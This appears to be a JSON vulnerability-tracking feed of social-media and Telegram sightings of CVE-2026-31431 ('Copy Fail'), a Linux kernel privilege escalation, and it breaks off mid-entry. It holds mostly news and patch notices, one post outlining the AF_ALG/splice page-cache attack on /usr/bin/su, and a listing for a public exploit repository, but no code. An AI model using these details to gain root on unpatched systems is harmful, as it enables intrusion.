"vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3ml36pwp3cc2g", "content": "The latest update for #Tanium includes \"What is a software patch? How it works and why it matters\" and \"Copy Fail (CVE-2026-31431): What #Linux administrators need to know now\".\n \n#cybersecurity #EndpointProtection #EndpointSecurity https://opsmtrs.com/3DH5Ks9", "creation_timestamp": "2026-05-05T02:54:52.229959Z"}, {"uuid": "ef9cb3b7-5698-45cd-b125-3cb72ca7e9ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn100.bsky.social/post/3ml3bwahx642o", "content": "CVE-2026-31431: Copy Fail vs. rootless containers\n\nDiscussion", "creation_timestamp": "2026-05-05T03:52:06.371029Z"}, {"uuid": "dfeac0d1-be30-4514-aafb-5ecf92216094", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/news.karthihegde.dev/post/3ml3c4k7d4v2t", "content": "CVE-2026-31431: Copy Fail vs. rootless containers\nDiscussion | hackernews | Author: averi", "creation_timestamp": "2026-05-05T03:55:39.111120Z"}, {"uuid": "a11a3aad-d765-40ba-9b96-663f6b461647", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3ml3c4mjmcr2t", "content": "CVE-2026-31431: Copy Fail vs. rootless containers\ncomments \u00b7 posted on 2026.05.04 at 23:43:08 (c=0, p=5)", "creation_timestamp": "2026-05-05T03:55:40.606098Z"}, {"uuid": "7b18b925-adf0-48b4-9b0c-9436236f4a6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hackernewsbot.bsky.social/post/3ml3cejzjvv2r", "content": "CVE-2026-31431: Copy Fail vs. rootless containers | Discussion", "creation_timestamp": "2026-05-05T04:00:04.906235Z"}, {"uuid": "eeb366fa-1cff-4b5b-9888-2da439d3ade9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hnbot.gsuscs.xyz/post/3ml3cf7ds622l", "content": "CVE-2026-31431: Copy Fail vs. rootless containers\n\nhttps://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/", "creation_timestamp": "2026-05-05T04:00:28.051988Z"}, {"uuid": "691c5003-0f5e-49a3-ab96-de8cdad19e93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hackernewstop5.bsky.social/post/3ml3ck4uxpv25", "content": "CVE-2026-31431: Copy Fail vs. rootless containers\n\n#HackerNews\n\nhttps://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/", "creation_timestamp": "2026-05-05T04:03:12.555934Z"}, {"uuid": "81ce4449-c496-4d23-b8a7-7960d93cabe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/betterhn20.e-work.xyz/post/3ml3f7a73fr2a", "content": "CVE-2026-31431: Copy Fail vs. rootless containers https://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/ (https://news.ycombinator.com/item?id=48017813)", "creation_timestamp": "2026-05-05T04:50:48.203979Z"}, {"uuid": "f33ced5b-bcb6-4c69-b44d-997e095e5154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sagalinked.bsky.social/post/3ml3fnq4blf23", "content": "\ud83d\udcf0 CVE-2026-31431: Copy Fail vs. rootless containers\n\n\ud83d\udd17 https://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/\n\n#Tech #Dev", "creation_timestamp": "2026-05-05T04:58:54.707744Z"}, {"uuid": "b7971cfc-be54-415f-b0cb-431d1a391e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/betterhn50.e-work.xyz/post/3ml3hyutibb26", "content": "CVE-2026-31431: Copy Fail vs. rootless containers https://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/ (https://news.ycombinator.com/item?id=48017813)", "creation_timestamp": "2026-05-05T05:40:56.005186Z"}, {"uuid": "ba15ab61-677e-40cf-88a3-d17d8c8833e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3ml3izdlt4c2w", "content": "CVE-2026-31431: Copy Fail vs. rootless  www.dragonsreach.it/2026/05/04/c...", "creation_timestamp": "2026-05-05T05:59:06.105115Z"}, {"uuid": "50399b73-3349-46b0-a8cf-c32c19615025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ikkeT.mementomori.social.ap.brid.gy/post/3ml3j7no2ds62", "content": "Red Hat product updates to copy fail available https://access.redhat.com/security/cve/cve-2026-31431\n\n#cve202631431 #CopyFail", "creation_timestamp": "2026-05-05T06:03:27.899508Z"}, {"uuid": "a941cb04-56df-4223-8699-703c2b80511d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hackernewsrobot.bsky.social/post/3ml3ky76ax42y", "content": "CVE-2026-31431: Copy Fail vs. rootless containers", "creation_timestamp": "2026-05-05T06:34:14.564667Z"}, {"uuid": "f53138bc-360e-44d9-b91a-47a26a442d90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/iLUe8v0Uh0Sb6iiHrVVi_18OGPn_eI_21UJtbxqFwUVI_uE", "content": "", "creation_timestamp": "2026-05-05T03:00:05.000000Z"}, {"uuid": "8749263d-ebc7-4d3e-b481-fb2b01e020b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/rPnY3cDOMvKcPFRcx6QsxUGiZwWHKwUb91xptawBtUQTSW0", "content": "", "creation_timestamp": "2026-05-04T21:00:04.000000Z"}, {"uuid": "80ca80d5-44c2-4923-ae06-ebfddbcc331a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/0_HRy55XY1gHFnZjznakOF7ZoOcpEYzc0dvtDC6c94sHEnY", "content": "", "creation_timestamp": "2026-05-04T15:00:07.000000Z"}, {"uuid": "3094207f-21de-419c-9377-4fefbdf78de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/XcvE3DqJ3gfHbHlWBgCF8vzzdw-S4AP1Zm_7A_yYzHhyXEw", "content": "", "creation_timestamp": "2026-05-04T09:00:04.000000Z"}, {"uuid": "e878ab76-6b9c-4b3d-9c4b-b29f01d8f19a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/xOE6u0S4AhmTrHPBDYscPzMv6FpE3fbyPNbn5dJYZfuDoSw", "content": "", "creation_timestamp": "2026-05-04T03:00:05.000000Z"}, {"uuid": "7491549c-eff4-495b-87bb-2427c53674e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpacketai.bsky.social/post/3ml3mgvclvd2c", "content": "CISA flags critical Linux privilege escalation bug under active attack. CVE-2026-31431 now on the KEV list\u2014patch your systems immediately.\n\nhttps://thehackernews.com/2026/05/cisa-adds-actively-exploited-linux-root.html\n\n#cybersecurity #infosec", "creation_timestamp": "2026-05-05T07:00:24.772812Z"}, {"uuid": "d93e97ee-07f4-491e-9352-31e24efb70eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kompetenztraining.bsky.social/post/3ml3n2bv73e27", "content": "Wir hatten lange kein sch\u00f6nes Linux Local Privilege Escalation mehr, oder? CVE-2026-31431 kombiniert AF_ALG-Sockets mit splice(), um beliebige Daten in den Page Cache von Systembinaries zu schreiben \u2014 konkret /usr/bin/su. Kernel < 6.19.12 betroffen, gesamte 6.17.x-Linie ungepatcht.", "creation_timestamp": "2026-05-05T07:11:11.914328Z"}, {"uuid": "b98fd415-329e-42b1-9800-e2d2707051fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/SagaieNet/68a2d3a5ef28966ab7f6dbe83a6a0dd0", "content": "", "creation_timestamp": "2026-05-05T07:16:48.000000Z"}, {"uuid": "aba2168d-5538-45e0-b291-8ed30cb50c7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/SagaieNet/a7ac63874bd4ab1636c8ff56d9ebfde4", "content": "", "creation_timestamp": "2026-05-05T07:21:20.000000Z"}, {"uuid": "6fbb47a4-43a7-4dba-94d8-01bb1b603d86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newsycombinatorbot.bsky.social/post/3ml3owv3i6f27", "content": "CVE-2026-31431: Copy Fail vs. rootless containers (www.dragonsreach.it)\n\nDiscussion | Main Link", "creation_timestamp": "2026-05-05T07:45:05.207560Z"}, {"uuid": "f1cea772-db3a-441d-89aa-36ec1cdd8401", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3ml3qmxu3bk2t", "content": "\ud83d\udea8 What if a Linux exploit never touched disk?\n\nCopy Fail (CVE-2026-31431) lets attackers become root by corrupting the page cache in memory.\n\nNo file changes  \nNo integrity alerts  \nHarder to detect\n\nCVSS 7.8 (High)\n\n\ud83d\udc49 basefortify.eu/posts/2026/0... \n\n#Linux #CyberSecurity #CopyFail", "creation_timestamp": "2026-05-05T08:15:28.544366Z"}, {"uuid": "4411e3e7-5f2d-4894-a1a4-faceab439d74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3ml3qmzggm22t", "content": "\ud83d\udea8 What if a Linux exploit never touched disk?\n\nCopy Fail (CVE-2026-31431) lets attackers become root by corrupting the page cache in memory.\n\nNo file changes  \nNo integrity alerts  \nHarder to detect\n\nCVSS 7.8 (High)\n\n\ud83d\udc49 basefortify.eu/posts/2026/0... \n\n#Linux #CyberSecurity #CopyFail", "creation_timestamp": "2026-05-05T08:15:29.187832Z"}, {"uuid": "13135932-442e-4f54-905d-21fbd8d94ef5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3ml3qn4uwqc2t", "content": "\ud83d\udea8 What if a Linux exploit never touched disk?\n\nCopy Fail (CVE-2026-31431) lets attackers become root by corrupting the page cache in memory.\n\nNo file changes  \nNo integrity alerts  \nHarder to detect\n\nCVSS 7.8 (High)\n\n\ud83d\udc49 basefortify.eu/posts/2026/0... \n\n#Linux #CyberSecurity #CopyFail", "creation_timestamp": "2026-05-05T08:15:29.697939Z"}, {"uuid": "86eb20f6-3f3c-4c1e-ba63-e67aea1d5ea1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3ml3qz3qfqc2h", "content": "A severe Linux kernel vulnerability, CVE-2026-31431 \"Copy Fail,\" lets attackers corrupt in-memory binaries for privilege escalation. We break down how it works and why rootless containers like Podman offer a vital layer of\u2026\n\nhttps://www.tpp.blog/1ip7iqt\n\n#cybersecurity #cve202631431 #copyfail", "creation_timestamp": "2026-05-05T08:22:07.197164Z"}, {"uuid": "38785b4f-0ce4-4901-9ba9-bad0b984b139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/jfstenuit/7a90b1d6d1116863693907e6e1cd3de4", "content": "", "creation_timestamp": "2026-05-05T08:20:03.000000Z"}, {"uuid": "3be76bd2-0792-40bd-883d-1bf01da2ab83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3ml3rcn3kbgy2", "content": "CopyFail sur Linux : les patchs de s\u00e9curit\u00e9 sont-ils disponibles ? Les patchs pour la CVE-2026-31431, alias CopyFail, sont-ils disponibles pour les distributions Linux : Debian, Ubuntu, RHEL, etc...\n\n#Actu #Cybers\u00e9curit\u00e9 #Cybers\u00e9curit\u00e9 #Linux\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-05T08:27:30.777934Z"}, {"uuid": "6b269345-28a0-43f6-83ee-c84af4795290", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/annabzz.bsky.social/post/3ml3rlii7n22z", "content": "CVE-2026-31431?", "creation_timestamp": "2026-05-05T08:32:24.775674Z"}, {"uuid": "3896911e-2c50-480b-9d68-670b3acf3191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/acalatrava/a632d8e224ce05db8a30be1d4e2dd69a", "content": "", "creation_timestamp": "2026-05-05T08:38:55.000000Z"}, {"uuid": "bd979fc0-a3f7-4a85-94cb-37332f426a90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82871", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a xeloxa\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 06:58:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy Fail (CVE-2026-31431) LPE exploit. A clean, multi-arch Python reimplementation targeting the Linux kernel AF_ALG page cache vulnerability.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T07:00:05.000000Z"}, {"uuid": "0c1c3d0e-c63a-4a08-ad90-bbdb546f61b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82877", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a mitigate-copy-fail.yml\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a deadRabbit92\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 07:57:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nMitigates CVE-2026-31431 (Copy Fail) by unloading and blacklisting algif_aead kernel module if it is loadable and has no active references.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T08:00:05.000000Z"}, {"uuid": "203376a8-750c-43b0-af70-900e2597cadc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/probbrain.bsky.social/post/3ml3uyvu37222", "content": "CVE-2026-31431: Copy Fail vs. rootless containers", "creation_timestamp": "2026-05-05T09:33:35.545167Z"}, {"uuid": "f842134f-c2c0-4e98-89d0-d69836e6eb7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/camorabug.com/post/3ml3vhxu7eb2v", "content": "Microsoft warns of high-severity Linux privilege escalation\u00a0flaw\n\nA new Microsoft warning says Copy Fail could increase risks for Kubernetes, CI/CD, and shared Linux workloads. Microsoft Defender has warned that CVE-2026-31431, also known as \u2018Copy Fail\u2018, is a high-severity local privilege\u2026", "creation_timestamp": "2026-05-05T09:42:01.425566Z"}, {"uuid": "cf9ac821-c976-4e5f-85e7-1f2c034cd574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn100.atproto.rocks/post/3ml3vnz7zbm2n", "content": "CVE-2026-31431: Copy Fail vs. rootless containers\nhttps://www.dragonsreach.it/2026/05/04/cve-2026-31431-copy-fail-rootless-containers/\n\nhttps://news.ycombinator.com/item?id=48017813", "creation_timestamp": "2026-05-05T09:45:23.814588Z"}, {"uuid": "b25d054d-212c-4401-b79f-e5aef0e38dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn-frontpage-bot.bsky.social/post/3ml3x4xy32p2v", "content": "A vulnerability (CVE-2026-31431) allowed privilege escalation within a rootless container by corrupting the page cache of /usr/bin/su. However, User Namespace UID mapping prevented the escalation from affecting the host system, demonstrating the effectiveness of rootless container architecture.", "creation_timestamp": "2026-05-05T10:11:39.587750Z"}, {"uuid": "2e233c0f-1eda-4b4f-baa5-1c137ca83280", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/camorabug.com/post/3ml3xig5ipk2t", "content": "Microsoft warns of high-severity Linux privilege escalation\u00a0flaw\n\nA new Microsoft warning says Copy Fail could increase risks for Kubernetes, CI/CD, and shared Linux workloads. Microsoft Defender has warned that CVE-2026-31431, also known as \u2018Copy Fail\u2018, is a high-severity local privilege\u2026", "creation_timestamp": "2026-05-05T10:18:03.520033Z"}, {"uuid": "a75498f0-1844-4ec2-8c3d-112ade4982e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pixelhead.bsky.social/post/3ml3zi47fz22h", "content": "Wegen diesem Copy Fail Bug CVE-2026-31431 bei #linux ... ich wei\u00df jetzt immer noch nicht, ob oder wie sehr das Smartphones oder Tablets mit Android betrifft.\nIch habe mal auf meknem Linuxrechner nach meiner Kernel Baureihe nachgeschaut (im Changelog) und da ist noch kein Fix dabei. \n#copyfail", "creation_timestamp": "2026-05-05T10:53:40.759470Z"}, {"uuid": "8b806e28-a77e-4fe6-b3ec-018146a8bdaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/albertvalo.itch.io/post/3ml43vkcchk2f", "content": "vale aviam. Resulta que s'ha descobert una vulnerabilitat en el kernel anonemada Copy Fail, o CVE-2026-31431, la cual dona acc\u00e9s privilegiat (root) a qualsevol usuario sense aquests privilegis. Aix\u00f2 es un problema perqu\u00e8 imagina que un script de python solicita aquests privilegis aprofitant-se", "creation_timestamp": "2026-05-05T11:37:01.730042Z"}, {"uuid": "88b1fdcb-921c-47dd-88d8-e4c2ecc5ec19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/albertvalo.itch.io/post/3ml43vkcgek2f", "content": "vale aviam. Resulta que s'ha descobert una vulnerabilitat en el kernel anonemada Copy Fail, o CVE-2026-31431, la cual dona acc\u00e9s privilegiat (root) a qualsevol usuario sense aquests privilegis. Aix\u00f2 es un problema perqu\u00e8 imagina que un script de python solicita aquests privilegis aprofitant-se", "creation_timestamp": "2026-05-05T11:37:04.184085Z"}, {"uuid": "0483070e-3923-4215-9d42-2c032f23eaf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/albertvalo.itch.io/post/3ml43vkchds2f", "content": "vale aviam. Resulta que s'ha descobert una vulnerabilitat en el kernel anonemada Copy Fail, o CVE-2026-31431, la cual dona acc\u00e9s privilegiat (root) a qualsevol usuario sense aquests privilegis. Aix\u00f2 es un problema perqu\u00e8 imagina que un script de python solicita aquests privilegis aprofitant-se", "creation_timestamp": "2026-05-05T11:37:11.182473Z"}, {"uuid": "1e44f5ba-a74c-4c44-9fcd-ec704e31afb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/albertvalo.itch.io/post/3ml43vkrgtk2f", "content": "vale aviam. Resulta que s'ha descobert una vulnerabilitat en el kernel anonemada Copy Fail, o CVE-2026-31431, la cual dona acc\u00e9s privilegiat (root) a qualsevol usuario sense aquests privilegis. Aix\u00f2 es un problema perqu\u00e8 imagina que un script de python solicita aquests privilegis aprofitant-se", "creation_timestamp": "2026-05-05T11:37:11.897142Z"}, {"uuid": "acf74f11-8c58-41d3-8caf-cfb27bee6f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/albertvalo.itch.io/post/3ml43vkrjrc2f", "content": "vale aviam. Resulta que s'ha descobert una vulnerabilitat en el kernel anonemada Copy Fail, o CVE-2026-31431, la cual dona acc\u00e9s privilegiat (root) a qualsevol usuario sense aquests privilegis. Aix\u00f2 es un problema perqu\u00e8 imagina que un script de python solicita aquests privilegis aprofitant-se", "creation_timestamp": "2026-05-05T11:37:22.053068Z"}, {"uuid": "355766e2-ae56-48aa-ad57-090b9206bf92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/habr_com_news/46251", "content": "\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u041d\u0422\u0426 \u0418\u0422 \u00ab\u0420\u043e\u0441\u0430\u00bb \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-31431, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0435\u0439 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 Copy Fail. \u041a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u0435 \u0425\u0430\u0431\u0440\u0430 \u0432 \u043f\u0440\u0435\u0441\u0441\u2011\u0441\u043b\u0443\u0436\u0431\u0435 \u041d\u0422\u0426 \u0418\u0422 \u00ab\u0420\u043e\u0441\u0430\u00bb, \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u043e\u0447\u043a\u0435 ROSA Bugzilla \u043f\u043e \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u043a\u0430\u0437\u0430\u043d \u0441\u0442\u0430\u0442\u0443\u0441 RESOLVED FIXED. \u0422\u0430\u043c \u0436\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0441\u0431\u043e\u0440\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u044f\u0434\u0435\u0440 \u0434\u043b\u044f ROSA 13 \u0438 ROSA 2021.1 (ROSA 12), \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u044f\u0434\u0440\u0430 6.12, 6.6, 5.15 \u0438 5.10. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u044f\u0434\u0435\u0440 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0434\u043b\u044f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0445 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440 x86_64 (Intel, AMD), aarch64 (Baikal\u2011M, Baikal\u2011L) \u0438 loongarch64 (Loongson, \u00ab\u0418\u0440\u0442\u044b\u0448\u00bb).\n\n#\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u041e\u0421", "creation_timestamp": "2026-05-05T11:37:13.000000Z"}, {"uuid": "32382e0d-265e-4a75-a170-51da488cef3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 